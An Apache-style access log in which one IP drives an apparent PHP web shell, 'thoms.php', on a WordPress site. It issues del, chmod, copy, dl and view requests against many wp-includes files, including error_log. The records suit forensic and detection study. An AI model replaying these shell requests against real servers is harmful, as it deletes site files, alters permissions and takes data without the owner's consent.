45.135.193.11 - - [11/Sep/2026:23:19:38 -0400] "GET /bestzyx.com.tw/wp-includes/default-constants.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:38 -0400] "GET /thoms.php?del=cache-compat.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59331 "http://163.245.207.76:443/thoms.php?del=cache-compat.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:39 -0400] "GET /thoms.php?chmod=css&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=css&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:39 -0400] "GET /thoms.php?chmod=canonical.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=canonical.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:39 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-smtp.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-smtp.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:39 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-http-curl.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-http-curl.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:39 -0400] "GET /thoms.php?dl=class-oembed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-oembed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:39 -0400] "GET /bestzyx.com.tw/wp-includes/load.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:39 -0400] "GET /bestzyx.com.tw/wp-includes/https-detection.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:39 -0400] "GET /thoms.php?del=class-wp-paused-extensions-storage.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59343 "http://163.245.207.76:443/thoms.php?del=class-wp-paused-extensions-storage.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:39 -0400] "GET /thoms.php?chmod=class-wp-icon-collections-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-icon-collections-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:39 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59332 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:39 -0400] "GET /bestzyx.com.tw/wp-includes/theme.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:39 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fassets&p= HTTP/1.1" 200 12289 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fassets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:39 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-admin-bar.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:40 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:39 -0400] "GET /thoms.php?dl=robots-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=robots-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:40 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-dependency.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-dependency.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:40 -0400] "GET /thoms.php?chmod=class-wpdb.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=class-wpdb.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:40 -0400] "GET /thoms.php?chmod=comment-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=comment-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:40 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fembed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fembed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:40 -0400] "GET /thoms.php?del=class-wp-duotone.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-duotone.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:40 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcategory.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcategory.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:40 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:40 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11897 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:40 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11550 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:40 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:40 -0400] "GET /bestzyx.com.tw/wp-includes/ms-files.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:40 -0400] "GET /thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59324 "http://163.245.207.76:443/thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:41 -0400] "GET /bestzyx.com.tw/wp-includes/php-compat/ HTTP/1.1" 200 794 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:41 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=error-protection.php HTTP/1.1" 200 13431 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=error-protection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:41 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-block-metadata-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:41 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-role.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:41 -0400] "GET /thoms.php?chmod=class-wp-oembed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:41 -0400] "GET /thoms.php?del=abilities-api&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59292 "http://163.245.207.76:443/thoms.php?del=abilities-api&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:41 -0400] "GET /bestzyx.com.tw/wp-includes/css/ HTTP/1.1" 200 2401 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:41 -0400] "GET /thoms.php?chmod=class-wp-url-pattern-prefixer.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-url-pattern-prefixer.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:41 -0400] "GET /thoms.php?del=class-wp-tax-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?del=class-wp-tax-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:41 -0400] "GET /thoms.php?chmod=bookmark-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=bookmark-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:41 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-widget.php HTTP/1.1" 200 17277 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-widget.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:41 -0400] "GET /thoms.php?dl=class-wp-http-curl.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-curl.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:42 -0400] "GET /thoms.php?chmod=feed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=feed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:42 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=error_log HTTP/1.1" 200 60753 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:42 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Frobots-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Frobots-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:42 -0400] "GET /bestzyx.com.tw/wp-includes/certificates/ HTTP/1.1" 200 793 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:42 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=shortcodes.php HTTP/1.1" 200 19799 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=shortcodes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:42 -0400] "GET /bestzyx.com.tw/wp-includes/pomo/ HTTP/1.1" 200 1272 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:42 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fabilities-api HTTP/1.1" 200 13344 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fabilities-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:42 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcapabilities.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcapabilities.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:42 -0400] "GET /bestzyx.com.tw/wp-includes/ms-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:42 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=category.php HTTP/1.1" 200 16077 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:42 -0400] "GET /bestzyx.com.tw/wp-includes/nav-menu-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:42 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcompat-utf8.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcompat-utf8.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:43 -0400] "GET /thoms.php?chmod=category-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=category-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:43 -0400] "GET /thoms.php?chmod=class-wp-block-supports.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-supports.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:43 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-customize-setting.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-customize-setting.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:42 -0400] "GET /thoms.php?dl=capabilities.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59319 "http://163.245.207.76:443/thoms.php?dl=capabilities.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:43 -0400] "GET /thoms.php?dl=cron.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59341 "http://163.245.207.76:443/thoms.php?dl=cron.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:43 -0400] "GET /thoms.php?del=spl-autoload-compat.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59365 "http://163.245.207.76:443/thoms.php?del=spl-autoload-compat.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:43 -0400] "GET /thoms.php?del=embed-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59199 "http://163.245.207.76:443/thoms.php?del=embed-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:43 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-image-editor-imagick.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:43 -0400] "GET /thoms.php?del=wp-diff.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59317 "http://163.245.207.76:443/thoms.php?del=wp-diff.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:44 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-oembed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-oembed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:44 -0400] "GET /bestzyx.com.tw/wp-includes/class.wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:44 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ftheme-compat&p= HTTP/1.1" 200 12282 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ftheme-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:44 -0400] "GET /thoms.php?chmod=class-wp-customize-control.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-control.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:44 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-icons-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:44 -0400] "GET /thoms.php?del=rss-functions.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=rss-functions.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:44 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:44 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-image-editor-imagick.php HTTP/1.1" 200 26553 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-image-editor-imagick.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
